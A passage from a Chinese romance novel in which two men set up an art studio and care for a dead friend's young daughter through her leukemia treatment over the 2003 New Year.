“诶诶诶,”周瞳掐了一下他脖子说,“不提那不高兴的事儿啊。”
“我听明白了,”周瞳说,“那个黄飞飞说你不去比赛又去了,就为了这事儿啊?”
“差不多吧。”应不尘说,“那个比赛也不加分,我从来不去不加分的比赛。”
“你这小脑瓜子咋这么好使呢,”周瞳说,“过来给我亲一口。”
二人交颈在车内,明明每天相见都感觉亲不够。
二人在路边简单吃了一口,应不尘就让周瞳走了,去找找地方去。
这种画室是短租,地方又要大,除了店面也没合适的,但是店面的话又怕外面行人多太嘈杂。
最终周瞳将目光锁向了学校对面的那家台球厅。
学校附近,来往便捷,从前是台球厅,早倒闭了,地方也够大,卫生间都是现成的,因为这个老板之前做生意被人送进去了,出来之后就没了消息,这么大个地儿也没啥别的能干的,所以也没人租,周瞳说上两句就廉价租下来了。
应不尘就上了一下午的课,周瞳都办齐活了,房子已经在打扫,该送来的东西也在路上。
应不尘叫了美术老师过来。
“这位是我美术老师,姓佟,”应不尘说,“这我男朋友。”
美术老师瞳孔控制得很好,说,“幸会。”
“然后快期末考了,美术课也没啥课程了,我男朋友会在新春的一新桥那边打广告,然后希望您拿你过往的一些作品装点一下,然后群体的话就是初一到高二的,高三临时学的估计少,生源这块您也能跟其他的美术老师一块儿算着,拉到人头就给分红,来上课我也给钱。然后,嗯,还有什么事儿你就跟我男朋友说,有啥困难你也跟他说就行,工资的话按照我之前跟你说的,你要是觉得招到的学生不多,你就跟我男朋友要固定工资,要是学生多,你还得兼顾,你就算总钱的分成,你要哪种您就先招人再看。”
“我给你雇几个托儿呗。”周瞳撞了一下应不尘,“不然这空屋子没人来呢,就我那游戏机房的那几个,我给他们几十个币子马上就来,咋说咋好使。”
“我说了你那些你就弄,我又不懂,”应不尘说,“我只管选老师,别的我不知道。”
“你们学校那帮学生你就给他们说,介绍过来就给拿钱,”周瞳说,“怕什么,咱佟老师指定能教出个名堂,现在美术纳入考试了,佟老师,多仰仗您了,以后生源固定了,咱画室干出来了,您就技术入股,光教他们上课你就分大头,教育无价,前途更无价,咱跟着沾您便宜行不?”
美术老师推推眼镜,说,“您太客气了。”
周瞳掏出一个红包,说,“您出门在外办事,走东窜西,免不得要花钱,我家应不尘说您刚毕业,就别动您积蓄,这个,过年了,一点小心意,完了,祝咱们财源广进,行不行?”
美术老师有点想推脱,周瞳说,“福气进门,不能不要。”
美术老师推了两下也是收了。
周瞳盯着他看,问,“佟老师,冒昧问一下,您家里还有几口人?”
佟老师挠挠头,说,“就我跟我妈,我妈不着家,总是出门,我也不知道她都去哪里了。”
周瞳啊了一声,说,“瞅您长得眼熟。”
佟老师推推眼镜说,“可能,可
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能在街上遇上过。”
应不尘还要回去上自习,这边的杂工还在刷墙,周瞳还要赶紧去新一街那边看看广告咋说,单子咋印。
佟老师推着眼镜,说,“你昨天找我说这个,我还怕你弄不起来,跟我就那么一说的。”
“不会,”应不尘说,“我想弄的事情只要跟我男朋友说,他什么都会支持,什么都会去学。他就是没机会读书而已。”
“你们说话的样子好像认识好几年了。”佟老师说。
“应该十年了。”应不尘说,“我是他养大的。”
“那你们说话不太一样,”佟老师说,“你说话实惠。”
“他说话就那样,从小到大就那样,恭维人的话说习惯了。”应不尘说,“一会儿我把他号码给你,要是家长有啥问题,你就给他打电话就行,他惯会搞这套。”
***
“你那个美术老师的传单他给大概给了个雏形,”周瞳看着本子上写的事儿,说,“电话留了我的,报名表也成了,我在电脑上看了那些艺术生的分数,也印出来了,在宣传册的最后一页,做一张大的,能展开用的。”
“完了我在各个网吧也分了单子,是你们这个年纪的小孩儿的,我跟他们说报完名我还给他返钱,不让家长知道,”周瞳点着本子,说,“我看好几个孩子都觉得有戏,游戏厅那边也说好了,我让他们过来装样子,他们可想来了,估计这会儿正闹着家里要来上课呢。”
“还有啥?”周瞳抬起头来问。
“报完名,你给他们返钱?”应不尘说,“你咋这么损呀!”
“那有啥了,当给他们发红包了呗。”周瞳说,“这帮的最能来,跟家里说出来画画了,扭头就去上网了,他们自己不要学,按头也没用,到时候教室就分俩,不要画的跟要画的就分开上课,谁也别影响谁,不会画的那帮在外面呗。”
“瞳哥,”应不尘圈在他脖子上,说,“我觉得好可惜,为什么我不是你的哥哥,那样我肯定会好好供你读书,不让你浪费了。”
“我读不了书,”周瞳说,“我屁股着火,坐不住,我那会儿上学就捉泥鳅去卖了,还上啥课呀。”
周瞳把应不尘抱在身上,说,“我真的没你读书不要命的劲儿,我看一会儿就想睡觉,还好不是你进去,出来一看,完了,废了呀。”
应不尘噗嗤一下笑出来,说,“瞳哥,我考完了弄完这些事儿,我们好好过个年好不好?”
“咋不好呢。”周瞳抱着他晃啊晃,说,“你挣钱是为了啥呀?”
“不知道,”应不尘说,“我没目标,就是想给你,那你是为了啥?”
“当时为了给你好日子。”周瞳说,“后来就觉着是为了跟别人证明我不是个废物吧。”
“瞳哥,”应不尘抱着他,说,“我们再也不要吃苦了好不好。”
各自忙碌总是很快,一晃就到了深冬。
2003年要来了。
应不尘成绩稳定,就是学医的时间太长了点,最多得拉到十多年去。
对此他有点头痛。
“瞳哥,”应不尘看着这些本博连读加规培的就有点伤脑筋,“我得读啥时候去,看着咋犯恶心呢。”
“妈呀,这读完我都得五十了吧?”周瞳说,“你这也太吓人了。”
“瞎说,”应不尘说,“你顶多四十。”
“四十我得老啥样啊?”周瞳说,“完了,你三十岁风华正茂事业有成,我四十岁年老色衰中年发福。不敢想不敢想。”
“这事儿我再考虑考虑,时间太长了,一条狗就活十多年。”应不尘说。
“你自己的事儿你自己琢磨,你干啥都随便,你想干就行。”周瞳说,“跟旺旺打了电话了,我给他拿东西过去,顺便聚一聚。”
“啊,你那个佟老师的事儿弄咋样了?”应不尘问。
“都弄好了,他寒假住宿舍,往返车票跟住宿我给他折成钱了,挺老实的,话也不多,学生反应还行,报了五十多个吧,我收费挺黑。”周瞳说,“你那佟老师觉得我弄广告弄房子的得花不少钱,他自己招人挺费劲,话都说不明白,就按的人头工资给他算的,他还挺高兴。”
“行,那咱两啥时候去宜华?”应不尘问。
“画室还有几天散呢,”周瞳说,“但是旺旺他们也得回去过年,小厉也得回去,要不然我去一趟得了,旺旺都墨迹我好几回了,把钱拿过去让他转交给风子家里头,我怕人家也不乐意见我。”
“那我给你看着游戏厅跟画室,”应不尘说,“过年人多,我怕人捣乱,行不?”
“咋不行呢,我不喝酒,”周瞳说,“当天就回来,成吗?”
“嗯,你注意安全。”应不尘说,“别那么着急。”
***
63. 老房着火
周瞳穿个长款棉袄,往旺旺店里走。
“给我炒一本。”周瞳说。
“您几个人啊?”老板问,“炒一本得上四十来个菜。”
周瞳露出双眼睛来,看着老板说,“我一个人吃。”
“唉!唉!你小子!你小子!”旺旺赶紧招呼老板娘来看,就要关门叙旧。
老板娘牵着个女娃娃,周瞳抱上了,快两岁了,很是可爱。
“这次小尘没来?”老板娘问。
“在新春看生意呢,”周瞳抱着娃娃,说,“快高考了,省的他来回跑,我吃个午饭就回去,过来送点东西。”
“你俩在新春挺好?”老板问。
“还成,有个游戏厅,有个画室,都瞎鼓捣。”周瞳说,“明年上省城,看看他想干什么。”
老板下厨去炒菜,周瞳把小孩儿的东西跟礼品都掏出来,说,“老板娘,小尘是不是还跟你来学炒菜了啊。”
“是啊。”老板说,“读书那么聪明,炒菜不行。”
“不学还好,学了比从前更难吃,”周瞳说,“我这种蹲号子的都受不了。”
“你这么说小尘,小尘要伤心死了。”老板娘说,“那会儿他来炒菜最热的天。不戴毛巾光让汗流眼睛里,说他哥眼睛不好,我当时没听懂,后来琢磨过来味了,他意思他也要疼眼睛,你还说他弄饭比号子里还难吃。”
“他那就是自己给自己找苦头吃,”周瞳说,“现在也这样,别扭得很,咱说不就是小时候放了把火么,我都放下了他就不行,一见我都跟欠我几百万似的。”
“那你那几年就是难过么。”老板娘拉了个凳子坐下来说,“你现在没找个人过啊?也二十八九了。”
周瞳翘了个二郎腿夹着菜,说,“找了。”
“咋不带来看看?”老板娘立马说。
“不是说了,看生意呢么。”周瞳狡黠一笑。
“看生意小尘给你看,不行关门也行呀,钱又挣不完,”老板娘说,“小气吧啦的,不给看?”
“你不行再品品我的话。”周瞳笑嘻嘻的,不着调。
老板娘捂着嘴,啪一下打在周瞳的脑袋上,“你这小子!你这小子!你俩凑一对啦?”
“啊,”周瞳吃了一口菜,一摊手,说,“没招,给他迷得不行。”
“没正经!”老板娘说,“小尘对你死缠烂打的吧?”
“诶我就说老板娘看人是一眼就够,”周瞳说,“我那是正经人,他不死缠烂打的我这交际花他能攀上吗?”
“你就瞎说吧你,”老板娘说,“说到小尘那得意劲儿都不知道往哪使了,自己养的又一起吃苦遭罪的,感情好,挺好。”
“等暑假或者啥时候吧,我再带他过来,”周瞳从兜里掏出来一沓钱,说,“你给我俩给风子家里头,那边小孩儿东西您给分分,行不。”
一说到风子老板娘脸上的笑意就落了。
“咋了?”周瞳问。
“没咋。”老板娘说。
“有事儿你就说,你不说我也能去打听出来。”周瞳问,“咋了?”
“风子他姑娘,不太好,前两天我在医院给打预防针的时候碰上了,”老板娘闷闷地说,“得病了,没打算治,出院了。”
“现在就已经出院了?”周瞳说,“咋不上省城啊?”
“人家一条人命就给十四五万的光景,你赔了三十多万,这,这也不能再要了呀。”老板娘说,“她娘家那头本来就不愿意她生,跟家里闹得都不行,现在这样,也是没办法了。说是...孩子给风子他妈了,娘家把人弄回去了。”老板娘说。
“你这意思就是现在就一老太太,一个奶娃娃?”周瞳问,“风子他娘舅呢?”
“他娘舅之前挣钱,搞缝纫机的么,那会儿谁能有他有钱,但是现在缝纫机不行了呀,他娘舅欠了好大一笔钱。”老板娘说,“自己都顾不上。”
“你给我个地址,”周瞳囫囵扒了两口饭,慌乱地说,“没事儿啊,我跟小尘没孩子,是吧,没事没事,我去看看,实在不行,我也能养。”
周瞳按着地址就往风子家走,娃娃在院子里,96年春的孩子,97年出生的,今年五岁左右,小女孩儿呆呆地看着周瞳流口水,风子的娘已经很老了。
周瞳不敢说自己是谁,说是旺旺家的亲眷,帮旺旺来送钱。
跟去年过年一样的泥房,又录音机在播放大悲咒。
老太太还是给别人诵经念佛,诵得一点钱。
老太太认不清人,眼睛似是哭瞎了,周瞳问,“姨,我能领这孩子去看病吗?看完了,我给您送回来,或者...”
“你俩都跟我去新春,”周瞳低着头说,“娃娃得先看病呢。”
老太太点点头,似无奈的说,“你领走吧,领走吧。”
“你可还认得我?”周瞳问。
老太太转过头去,说,“不认得,不认得。”
周瞳看见屋里还有风子的灵相,进去上香。
老太太拄着拐去给小孩儿收拾东西,周瞳站在外面等。
周瞳问小姑娘,“你叫啥名字呀?”
“风筝。”小姑娘吃这口水说。
“风筝,”周瞳说,“这名字谁给你起的?”
“妈妈说爸起的。”小姑娘黏在周瞳身上,扎着个小辫儿。
老太太收拾了小姑娘的东西就给送出来,说,“给你了。给你了。”然后再也不看小女孩儿。
“那叔叔带你去玩吧?”周瞳说,“咱两先上省城,行不?”
“我没去过,嘿嘿。”小姑娘说。
“那就走呗。”周瞳朝着老太太鞠躬,牵着孩子走了。
疯子的老娘擦了擦桌子上的灰,一张当年公司成立的合影就在上头。风子把周瞳抱起来,笑得灿烂,这是风子寄回来的照片,后写:
娘,你不识字,叫人读给你听。
我在宜华一切都好,周兄弟教我文化,教我开车,不嫌弃你儿子愚笨脑子,对我多有照顾,说话有趣极了。
周兄弟二人没有母亲,我擅自做主,将你分给他们做母亲,你念佛时也给周兄弟二人祈福。
祝:身体健康,过年相见。
照片风子的娘看了又看。
周瞳给应不尘打了个电话他没接,急着要送孩子去医院。
老太太收拾出来的东西周瞳看了一眼,白血病。
周瞳不太懂疾病,这东西太复杂,只得连着往省城走。
到下午应不尘回过来电话。
“喂,瞳哥,在路上了吗?”
“风子的姑娘不太好,”周瞳说,“我现在带着她去省城看病,你看看要么明天今天你有车过来么?”
“哪里不好。”应不尘问。
周瞳吸了一口冷气,说,“白血病。”
“你先去医院检查吧,我取点钱就找你去,”应不尘说,“你路上小心。”
“你也注意安全。”周瞳说着,匆匆挂了电话。
大过年的,应不尘瞧见过好几次李泥鳅了,上回李泥鳅找上门来,那学校门口也来堵了,他得把自己看好,不能再让周瞳分心。
应不尘下午的时候让佟老师带了几个高大的学生帮忙,请他们吃饭,就让他们跟自己一起去银行,又去了车站。
应不尘坐上了车,抱着钱一刻也不敢松懈。
他的命可太金贵了,他还要留着跟周瞳长相厮守呢。
到省城的车人太多了,这几年的治安好了不是一星半点,哪怕是这样,应不尘抱着救命钱也眼睛都不敢闭一下。
从新春到省城,经过山坳都会下雪。
白茫茫的,一想到风子叔的女儿,应不尘就吸了吸鼻子。
他想起那个给自己拎煤饼炉子的男人,那会儿觉得风子叔长得太吓人,跟周瞳站在一起简直是星星跟泥巴。但是风子叔好,他在周瞳最难的时候拉了一把,救了应不尘的命,他在周瞳最穷的时候借钱背债都跟他一起弄公司,人都是风子叔带来的,后来的应不尘已经知道那年的周瞳为什么要哭,油耗子的事儿风子叔他们背了,要不然周瞳真的撑不住了。
应不尘有点儿想风子叔,他因为自己的错那年再也没出来,如果他的命是周瞳给的,那风子叔得算走一半。那个晚上经常连夜开车将周瞳送回他身边的风子叔,那个问他女孩儿都喜欢在哪里吃饭的风子叔,那个让周瞳午夜梦回都低垂着脑袋抽闷烟的风子叔,他的女儿不能再出任何事。
应不尘盘算着钱,卖房子车子积蓄不够的话,他跟周瞳可以一边挣一边治,只希望风子叔的女儿千万要扛住,不然周瞳就要垮了。
他才好起来。
他才像以前一样。
应不尘已经很久都没看见他那个样子了。
从宜华回来的那大半年,他只能看见颓丧的,无力的周瞳,可是他现在已经好起来了呀,才好起来。
应不尘揣着一肚子的心事,从火车站匆忙去医院。
周瞳就站在医院门口抽烟。
见应不尘来了,他踩灭了半截香烟。
“这么着急过来,说明天也行。”周瞳说,“看了一天的店,累不累。”
“钱给你,”应不尘说,“今天不能拿太多,你拿存折还能去取,孩子咋样?”
“送进去做检查了。”周瞳说,“儿科的大夫都好,能哄孩子。”
“白血病也有能治的,”应不尘说,“等检查出来了看看大夫咋说。”
“嗯,”周瞳说,“就是你这本来还得读书呢,搞得上医院来,大过年的,我说你不过来也行,但是我想了想,你说了有啥事我跟你商量着来,我就不瞒你了。”
“咱都别慌,”应不尘说,“治就行,哪的医院能治就去哪里治,咱房子车子店子都能卖,咱比一般人条件好,是不是。”
周瞳坐在台阶上拉着应不尘的手,说,“她比你刚来时候还小呢。”
“治好了,她妈不要的话,咱能养她吗?”应不尘问,“当咱自己的孩子一样。”
“想了呀,”周瞳说,“我路上就想呢,说咱俩这没羞没臊的,又是俩男的,养一个女娃娃可咋整,要不出钱让旺旺两口子一起养,但是人家也也有孩子,也有店子要看,又觉得不咋合适,咱两养也不知道咋弄这个。”
“你想想辙呗。”周瞳说,“治好了,你还得上学,再给我个女娃娃我可太头痛了。我领着姑娘来接你啊?”
“有什么不行的。”应不尘说,“你养我的时候你想那么多了吗?”
“那能一样吗?”周瞳说,“你是个男娃娃呀,男娃娃养得糙,那女娃娃还得扎辫子呢,你汪奶要是在就好了。”
“叫啥名字呀小女孩儿?”应不尘问。
“风筝。”周瞳笑着撞了一下应不尘,神神秘秘都说,“长得不像他爸。”
应不尘也笑了,说,“你咋知道我担心这个呢?”
“大眼睛,扎俩小辫子呢。”周瞳说,“一会儿就出来了,就现在里面送进去了,他们说要抽什么东西介入的,我也不知道,反正叫我在这里等,一会儿你看看去。”
“我小时候都老想着长大能跟你一样帅。”应不尘回头看,说,“我想赶紧抱抱,去年跟着你的时候远远地看了一眼。”
“你还别说,我他妈的我不敢去呀,”周瞳挠挠头,说,“我真的跟你说的似的,我现在太胆小了,我到没法子我才敢去找风子的妈,我都不敢看那老太太。”
“老太太要是愿意跟我走,我也带上。”周瞳说,“就是怕你年纪小,我弄俩这个回来,搞得你有压力。”
“我风子叔要是知道我这么没良心,都得拉着汪爷汪奶一块儿给我拽下去,”应不尘肩膀撞了他一下,说,“你把我想成啥了。”
“我就是觉得我自己小,要是我能大几岁,我就能给她看病,我就能知道咋料理,”应不尘说,“我好想快点长大,替你担事,给你分忧。”
“已经够好了。”周瞳说。
周瞳听见有人在叫,拍了应不尘一下,说,“去看看咱姑娘去。”
风筝面色苍白,闭着眼睛,脸上坨了两坨泪沤出来的红,扎着小辫子,因为生病发白的嘴唇,像个脆弱的脏布娃娃,应不尘看着她,眼睛瞬间就红了,抖着嗓子说,“瞳哥,咱现在就卖房子吧,行吗?”
应不尘过去听医生讲,周瞳自己推着孩子进了病房。
这病房里都是来这儿看这个病的,气氛很差,潮湿,拥挤的走廊,压抑,哭泣,低声的愤怒的病房,与外头要过年的大好气氛完全不同。
周瞳不敢去听医生说什么,他呆呆地看着小病床上的孩子。
不知道什么时候开始,应不尘早已经站在他前面,他跟周瞳说,“你看孩子就行,我去听医生说啥了,有什么要沟通的,我来就行。”
周瞳觉得自己胆小。他甚至连直面的勇气都没有。
应不尘回来了,周瞳不敢问,说,“小风筝太瘦了,你看她的手这么小。”
“瞳哥。”应不尘满怀心事的叫他。
“别说。”周瞳沉了口气,捏着小孩儿的手,眼睛有点红,应不尘看他的胸腔不稳的起伏。“要过年了。”
“你以后可能就,”应不尘说,“没时间咱俩恩恩爱爱了,你得挣大钱了,这病,急性早幼粒早期,她命大,砸钱就能治。”
周瞳猛然地吐出了一口气,应不尘看见他的下颌都在发抖,手指都微微颤着,他摸了一会儿,说,“我出去抽根烟。”
小姑娘叫护士抱走了。
医院的天台上,周瞳坐在那儿抽烟,递了一根给应不尘。
二人坐在脏兮兮的石头上,周瞳靠在应不尘的身上,说,“我管你叫哥呗。”
“行啊。”应不尘呼出一口眼圈,说,“你就是怕来医院,汪奶奶那会儿你总是不爱来,说那消毒水的味道会要你的命。”
“嗯。”周瞳靠在他身上说,“烂摊子都给你弄,我可真胆小。”
“你就是看不得那个。”应不尘说,“别怕,能治,就是贵,拿钱买命。”
“多久能治好?”周瞳问。
“她现在这个情况,说比较学术的你也不明白,听多了你还害怕,就是最快就两年不到,可能我大学没毕业就好了,不复发就行,她这个毛病,用砒霜治,有意思不?”应不尘问。
“然后她要是争气,不出那些什么凝血跟栓塞的并发症,她这么小,也记不得自己生病了,也记不得自己遭罪了。”应不尘揽着周瞳的肩膀说,周瞳反过来抱住了应不尘,应不尘拍着他肩膀,说,“真没事儿,风子搁底下屁股着火的找关系呢,他乐不乐意应酬都得去了。”
“她痛不痛啊你说,”周瞳说,“那咋脸能白成那样呢?”<
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p>“有麻药呢,”应不尘说,“你还给他扎小辫呢。”
“你会扎吗?”应不尘抱着他问。
“那你给她扎,”周瞳说,“我弄不明白小女孩儿。”
“行啊,”应不尘说,“我管,行吗?你就该上音乐课你就上去,我在家带孩子,行吗?”
“都啥时候了,还上音乐课呢。”周瞳说,“你咋这不正经啊。”
“那咋整?”应不尘说,“让你哭就正经了?”
“老子哭啥。”周瞳说,“我就是看了有点儿难受。”
“嗯呗,”应不尘说,“要过年了。你送来的就是个时候,刚查出来,人家一听血癌,估计就不打算治了,我看单子没两天,真的,这病就拖个把月就拖死了,还好你去了,是不是,你都给小风筝半条命已经捡回来了。”
“你哄我这劲儿,咋跟比我还大十岁似的。”周瞳说,“我好磕碜。”
“那你那会儿汪奶那会儿你就不成,”应不尘说,“我能咋办?交钱,买药,分药,打针,挂水,是不是,医院不就这几下子,我跟回家似的。”
“要不成我跟学校请一年假,我明年再去考,我给你管,成吗?”应不尘说。
“那哪里行啊。”周瞳说,“我特么的好歹这大高个呢。”
“那你哆嗦啥?”应不尘说,“真没事儿,我在这呢。”
2003年的新年,应不尘跟周瞳是在医院过的,风子可能到处端着酒杯去塞钱呢,看吧,就是没逼到这份上,不然风筝能在发病之后就正好碰上周瞳去瞧旺旺吗。
周瞳弄不清楚这些专业的术语,说现在这个叫诱导期,风筝除了发烧就是发烧,一点儿东西也吃不下,醒来就哭着要找妈,这俩陌生的叔叔她也弄不明白。
“风筝,今天感觉咋样呀?”周瞳玩着她的手问,“我给你读故事呗。”
“不舒服。”风筝看着门外,“我妈不来吗?”
“你妈有事儿,这不是省城了,你扎完水吃完药,打完怪兽我就领你回去呗,行吗?”周瞳问。
“我想找我妈。”风筝转过来就要哭了。
“那你弄好了,咱肯定找你妈去啊。”周瞳说,“不然给我当姑娘,我还嫌你事儿多呢。”
“真的?”风筝止住了眼泪。
“那可不,”周瞳说,“你赶紧。你好起来,你好起来我还忙着处对象去呢,你就赶紧回去你妈那去。”
“好吧。”风筝终于肯探出头来了,眨巴着眼睛,说,“我家里有你照片,跟我爸一块的。我晓得你。”
“那感情好,”周瞳给她喂粥,说,“那你得给我敬酒,过年了得打一圈。”
“瞎说啥呢。”应不尘拎着东西进来了,“好好的孩子就得被你教坏。”
“我教的孩子咋了?”周瞳问,“风筝,你乐意跟谁玩,这个你照片上有吗?”周瞳指着应不尘问。
“没。”风筝看着应不尘摇摇头。
“你那啥照片啊,上头有我。”周瞳问。
“我爸抱着你呢,然后还有眼镜叔他们,我奶说你们开公司了。”风筝说。
“她说的那张,”周瞳说,“开业那会儿合影那张,我被风子抱起来那张,那张照片你见过吗?”
应不尘过来对风筝说,“他们是不是边上还有一个小孩儿?”
“有一个,别的叔抱着呢。”风筝说。
“那就是我。”应不尘说,“腔叔给我拽他肩膀头子上了。”
“啊,”周瞳说,“那照片咱俩没有了,被你烧了。”
“你乐意跟哪个叔玩?”周瞳问。
风筝看了看应不尘,又看了看周瞳,说,“谁给我买糖我跟谁玩。”
“你这小妞,”周瞳又给她喂了一口水,说,“都给你买糖呢?”
“那我看谁买的糖大。”风筝说。
“你看看,不知道的还以为我生的呢,”周瞳说,“这小妞没个好。”
风筝乐了。
应不尘拖了个凳子过来看她,说,“瞳哥,我咋有点儿担心呢。”
“你担心啥?”周瞳啊了一声给风筝喂粥。
“要被你带歪。”应不尘说。
“你就是我带的,哪里歪了?”周瞳说,“是不是风筝,跟我玩,咱两好着呢,是不是。”
今日过年。
风筝的抵抗力经不起一点儿,只能在那个小小的床上,被护士抱走的时候都要哭,周瞳每次看护士来了都得跑,站在门后面,都是应不尘跟着去,送到了就回来,然后开始漫长的等待。
应不尘说,“小孩儿哭不是正常吗?她哭,你跟着难受,她一会儿就忘了。”
“这日子,啥时候是个头啊?”周瞳说,“这小女娃娃就不大点,那么大针头戳她,那是人肉呀,哪能...一把一把的药,饭都没药吃的多。”
“瞳哥,”应不尘说,“我小时候哭你也这么难受吗?”
“那你男孩儿能一样吗?你哭我给你一巴掌不就行了。”周瞳说。
应不尘都要气笑了,说,“行,行,你刚刚难受那劲儿我以为我小时候你也这样,差点儿的就感觉看见我小时候你的样子。”
“你太有意思了应不尘,”周瞳点了根烟,说,“你哭的时候我打没打你你是真的一点数都没有。”
“反正现在是要打。”应不尘说。
“你自己那样儿,我不打你打谁。”周瞳低头点了根烟。
“对了,”应不尘说,“我找了旺旺家,年后老板娘过来看孩子,旺旺他姐叫我雇来给他们店里帮忙,但是也不能老让老板娘看,你没事还是得往这里跑,你年后新春还有事儿,我也得回去上学,就是你得两头跑,累。”
“这都安排好了?”周瞳问。
“老板娘自己问我的,觉得我俩太难了。”应不尘说,“我也正好出钱就讲了,本来我想找风筝她妈来着,我说咱出钱,她看孩子,她家里头现在不是很愿意,等回头瞧吧,她能要风筝,咱就治好了还给她,每年去看看她,要是她不要,我们接着呢,啥都犯不上,我意思就这个,替你做了主了。”
周瞳搓着手指,低着头说,“我感觉我从前说你的话挺混。”
“啥话啊?”应不尘问。
周瞳转过头来,看见烟花绽开,这烟花一年比一年盛大。
“说咱两有十年的差距,说你书读狗肚子里去了,说你就是个会闯祸的脏娃娃,说你根本不明白啥是男人。”周瞳说,“说你不明白爱是啥,责任是啥,说你神经病。”
“我又不在乎。”应不尘抠着墙上的漆,“我小时候,你就跟我说,真有啥,事儿上见。”
“应不尘,”周瞳倚着天台,说,“我拖个娃娃,还得养个老太太,你得读书,心思又重,我们又要苦了。”
“是啊,本来说再也不叫你吃苦了。”应不尘说,“没办到呢。”
“我的意思是说,这次这趟浑水,我不是自己个儿了,我是个劳改的半瞎,又想做你哥又想当你爹,你先别急,”看着已经张嘴的应不尘周瞳紧接着说,“我也没打算放你走,浑水就浑水呗,老房子都已经着了火了,你也跑不掉,我希望你永远跟我这个不着调的骚骨头在一块儿,我以后也会爱你,敬你。”
“看你像看天上的星星,”周瞳猛抽了一口,缓缓吐出,“摘下来,藏在兜里,自己悄悄得意,行吗?”
64. 走不成了
应不尘歪在周瞳的身上,说,“你说话算话吗?”
“咋不算。”周瞳歪着看他。
应不尘圈在周瞳的脖子上,踩在他脚上一直晃,“第十一年了。新年好。”
“哎呀烦死了。”周瞳说,“过了年我都二十九了,都要奔三了呀,你这还没奔二十呢。”
“咋了,我这青春貌美的,你有压力啦?”应不尘问。
“我咋没,”周瞳端着他的屁股抱着说,“我现在照镜子都觉得自己不太好看,觉得你好看,狗娘养的你学校里小姑娘给你写情书,你还书包里带着呢?”
“我看看呗。”应不尘说,“从前她们送的,一番心意呢,咋了,就兴你骚,我就得在家守寡啊?”
“赶紧给人还回去。”周瞳说,“啥意思吗应不尘。”
“我给你写的情书你弄哪儿去了?”应不尘问。
“你啥会儿给我送情书了,”周瞳说,“我可没收到。”
“家长会的时候,你收到了。”应不尘说。
两封信都藏在周瞳的钱包里。
“我没瞧出来那是情书。”周瞳说,“我还以为感恩父母呢。”
“你瞧得出来。”应不尘说,“天底下只有你能瞧出来。”
“我知道,那信你看完没扔我桌子上,”应不尘狡黠一笑,“我就知道我要成了。”
“你个狗崽子,你光一脑门子想着算计我呗?”周瞳说,“不过说实话确实我看见的时候我就明白你个狗崽子跟我在绕圈,你那话写的咋翻译都行,你叫我恼也恼不了,味儿又是那个味儿。”
“你从前抱着我的时候,都是把下巴磕我脑袋上,那回家长会,你把脑袋磕我脖子上,我就知道,我就差最后一把了。”应不尘说,“我是你养的,你什么我都知道。你在想什么,你在愁什么,你在怕什么,我都知道。”
“你就算计我吧你。”周瞳说。
“是你情愿让我算计。”应不尘抱着他的脑袋,说,“你比我大那么多,生意做了那么多,遇见的人那么多,坏心眼好心眼你都见过,我就算藏起来,也迟早被发现。那我就只能直接了当叫你看了呗。”
“那你那会儿我一出来就跟我说那些话,你不知道我要揍你?你不知道我会走?”周瞳问。
“我知道啊,我咋不知道,那只是一个过程。”应不尘说,“我一天也等不了,我必须让你立刻马上知道这件事情,我必须在你出来还没有跟任何人有任何联系发生任何事情的时候让你知道。”
“为啥呀?”周瞳问,“你慢慢来,好像也行得通。”
“行不通,”应不尘说,“你小时候给我买那三国演义你还记得吗?”
“记得啊,那里面还讲谈恋爱了?”周瞳问,“吕布貂蝉啊?”
“不是,是赵子龙。”应不尘说。
“赵子龙咋了?”周瞳说,“他不是七进七出,带着刘阿斗都交给刘备了吗?”
“就算这样,比得上关羽张飞吗?他再忠心耿耿再神勇无双,他去晚了,刘备就只会把他当部下了,我就得需要抢在最前面告诉你,我已经晚了你很多年,这是我最有胜算的机会,也是我唯一不能晚的事。”
“我告诉你了,你要跑要打的,你讲了么,账要算在前面,我总会挨过去的,别你又把我当个臭孩子,太熟了不好吃窝边草,那会儿生疏,正是好时候。”应不尘说。
“那你后来又演啥呢?”周瞳问。
“你心软啊,”应不尘说,“我都跟你说那样的话了,你还情愿听我这样那样的,迟早的事吧。”应不尘说。
“我真,我真都要不认识你了应不尘,”周瞳说,“我真是,我现在看你,我咋觉得你脑袋上都长着算盘珠子呢。”
***
“你不去看一眼风筝就走啊?”应不尘拉着安全带。
“老板娘看着呢,我怕见她哭,”周瞳说,“我每个礼拜来呗,先送你回去,这几天混在医院,你也没睡个好觉。”
踩下油门,二人在半夜的时候往新春赶。
“就是你要忙了,”应不尘说,“一大摊子事儿。”
“嗯,回去先把那个画室还有游戏机厅我还得看着,然后钱的话好像能应付过去,”周瞳说,“你别操心了,我每个礼拜就送过来,送不过来就打老板娘存折上。”
“她这个不做异基因造血那个就还好。”应不尘说,“画室就这一茬,得想想别的辙,我目前觉得投入小获利大没风险的你反正也从新春往省城跑的,就干新春的第一家有规格的化妆品女士皮包那些的,你就来省城进货,省的你空车。”
“你不是不乐意我干那个吗?”周瞳调笑说,“到处都是姐姐。”
“你跟我了那些话了,我就不怕了,”应不尘说,“你那德行,干这个最合适。”
“你说的我还挺不好意思呢还。”周瞳说。
“我们学校的女老师现在都要时髦打扮,”应不尘说,“省城的新鲜东西多,倒到手就能成。”
“我合计在新一街边上呢,哪儿的发廊跟夜总会啥的也多,有人倒这些东西,我觉得差点意思,不好看,还卖得贵,女人的皮包,耳环,化妆品,香水,这些东西都是消耗品,她们会没完没了的买。”周瞳说,“我在新一街找个上档次的,完了在二中那边上找个符合她们消费的,给那些小女孩儿买。”
“那你回去了就忙活起来呗,”应不尘说,一说做女人生意,你看看你那个样子,你看看你的样子吧你。”
“瞎说啥呢,”周瞳搓着方向盘就上了高速,“还好你年前弄那画室,我回了一波钱,不然不好动,你那些钱我还想给你留着你上学花呢。”
“你说那事儿你就损,哪有给孩子返钱的,那孩子能握住钱吗?十七八岁的,净干坏事儿。”应不尘说,“你一返反那老些,他们可不得缠着爹妈去画画吗?”
“你咋能攒着钱呢?”周瞳说,“找找我那火机,犯困,又死冷的。”
应不尘给他点了一根塞嘴里,说,“别给人把钱糟蹋了,结果画啥也不会的,回去没个交代。”
“挣钱要是都带良心,那天底下都是没钱的人。”周瞳说,“我这还好吧,交代得了交代不了的,都得看自己,看看你,十八九岁的,啥都会,啥都能,把自己逼那份上干啥。”
“那咱两不是孤儿吗,没办法的事儿。”应不尘说。
“那风筝缠着我找她妈呢,你小时候可没缠着我找你妈。”周瞳说,“我记忆以来就没有过。你不想你妈啊?”
